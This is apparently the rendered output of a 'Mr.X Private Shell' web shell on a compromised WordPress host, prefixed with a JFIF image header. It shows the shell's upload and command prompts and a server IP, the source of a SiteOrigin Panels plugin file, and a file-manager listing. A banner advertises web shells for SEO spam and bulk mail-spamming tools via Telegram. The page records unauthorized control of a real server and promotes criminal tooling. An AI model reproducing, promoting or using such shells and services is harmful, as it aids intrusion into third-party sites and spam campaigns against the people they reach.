����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
<?php

class SiteOrigin_Panels_Widget_Shortcode {

	static $text_widgets = array(
		'SiteOrigin_Widget_Editor_Widget',
		'SiteOrigin_Panels_Widgets_Layout',
		'WP_Widget_Black_Studio_TinyMCE',
		'WP_Widget_Text',
	);

	static function init() {
		add_shortcode( 'siteorigin_widget', 'SiteOrigin_Panels_Widget_Shortcode::shortcode' );
	}

	static function add_filters() {
		add_filter( 'siteorigin_panels_the_widget_html', 'SiteOrigin_Panels_Widget_Shortcode::widget_html', 10, 4 );
	}

	static function remove_filters(){
		remove_filter( 'siteorigin_panels_the_widget_html', 'SiteOrigin_Panels_Widget_Shortcode::widget_html' );
	}

	/**
	 * This shortcode just displays a widget based on the given arguments
	 *
	 * @param $attr
	 * @param $content
	 *
	 * @return string
	 */
	static function shortcode( $attr, $content ){
		$attr = shortcode_atts( array(
			'class' => false,
			'id' => '',
		), $attr, 'siteorigin_widget' );
		
		$attr[ 'class' ] = html_entity_decode( $attr[ 'class' ] );
		$attr[ 'class' ] = apply_filters( 'siteorigin_panels_widget_class', $attr[ 'class' ] );
		
		$the_widget = ! empty( $attr[ 'class' ] ) ? SiteOrigin_Panels::get_widget_instance( $attr['class'] ) : null;
		if( ! empty( $the_widget ) ) {

			$data = self::decode_data( $content );

			$widget_args = ! empty( $data[ 'args' ] ) ? $data[ 'args' ] : array();
			$widget_instance = ! empty( $data[ 'instance' ] ) ? $data[ 'instance' ] : array();

			$widget_args = wp_parse_args( array(
				'before_widget' => '',
				'after_widget' => '',
				'before_title' => '<h3 class="widget-title">',
				'after_title' => '</h3>',
			), $widget_args );

			ob_start();
			$the_widget->widget( $widget_args, $widget_instance );
			return ob_get_clean();
		}
	}

	/**
	 * Get the shortcode for a specific widget
	 *
	 * @param $widget
	 * @param $args
	 * @param $instance
	 *
	 * @return string
	 */
	static function get_shortcode( $widget, $args, $instance ){
		unset( $instance[ 'panels_info' ] );

		$data = array(
			'instance' => $instance,
			'args' => $args,
		);

		// This allows other plugins to implement their own shortcode. For example, to work when Page Builder isn't active
		$shortcode_name = apply_filters( 'siteorigin_panels_cache_shortcode', 'siteorigin_widget', $widget, $instance, $args );

		$shortcode = '[' . $shortcode_name . ' ';
		$shortcode .= 'class="' . htmlentities( preg_replace( '/\\\\+/', '\\\\\\\\', get_class( $widget ) ) ) . '"]';
		$shortcode .= self::encode_data( $data ) ;
		$shortcode .= '[/' . $shortcode_name . ']';
		
		return $shortcode;
	}

	/**
	 * A filter to replace widgets with
	 */
	static function widget_html( $html, $widget, $args, $instance ){
		if(
			empty( $GLOBALS[ 'SITEORIGIN_PANELS_POST_CONTENT_RENDER' ] ) ||
			// Don't try create HTML if there already is some
			! empty( $html ) ||
			! is_object( $widget ) ||
			// Skip for known text based widgets
			in_array( get_class( $widget ), self::$text_widgets )
		) {
			return $html;
		}

		return self::get_shortcode( $widget, $args, $instance );
	}

	static function encode_data( $data ){
		return '<input type="hidden" value="' . esc_textarea( json_encode( $data, JSON_UNESCAPED_UNICODE ) ) . '" />';
	}

	static function decode_data( $string ){
		preg_match( '/value="([^"]*)"/', trim( $string ), $matches );
		if( ! empty( $matches[1] ) ) {
			$data = json_decode( html_entity_decode( $matches[1], ENT_QUOTES ), true );
			return $data;
		}
		else {
			return array();
		}
	}
}

Filemanager

Name Type Size Permission Actions
data Folder 0755
widgets Folder 0755
admin-dashboard.php File 3.81 KB 0644
admin-layouts.php File 17.14 KB 0644
admin-widget-dialog.php File 5.36 KB 0644
admin-widgets-bundle.php File 4.78 KB 0644
admin.php File 67.1 KB 0644
cache-renderer.php File 1.15 KB 0644
css-builder.php File 8.02 KB 0644
error_log File 6.62 KB 0644
functions.php File 2.69 KB 0644
home.php File 1.25 KB 0644
live-editor.php File 2.49 KB 0644
post-content-filters.php File 2.53 KB 0644
renderer-legacy.php File 5.62 KB 0644
renderer.php File 37.43 KB 0644
revisions.php File 2.76 KB 0644
settings.php File 26.11 KB 0644
sidebars-emulator.php File 7.46 KB 0644
styles-admin.php File 21.19 KB 0644
styles.php File 38.92 KB 0644
widget-shortcode.php File 3.39 KB 0644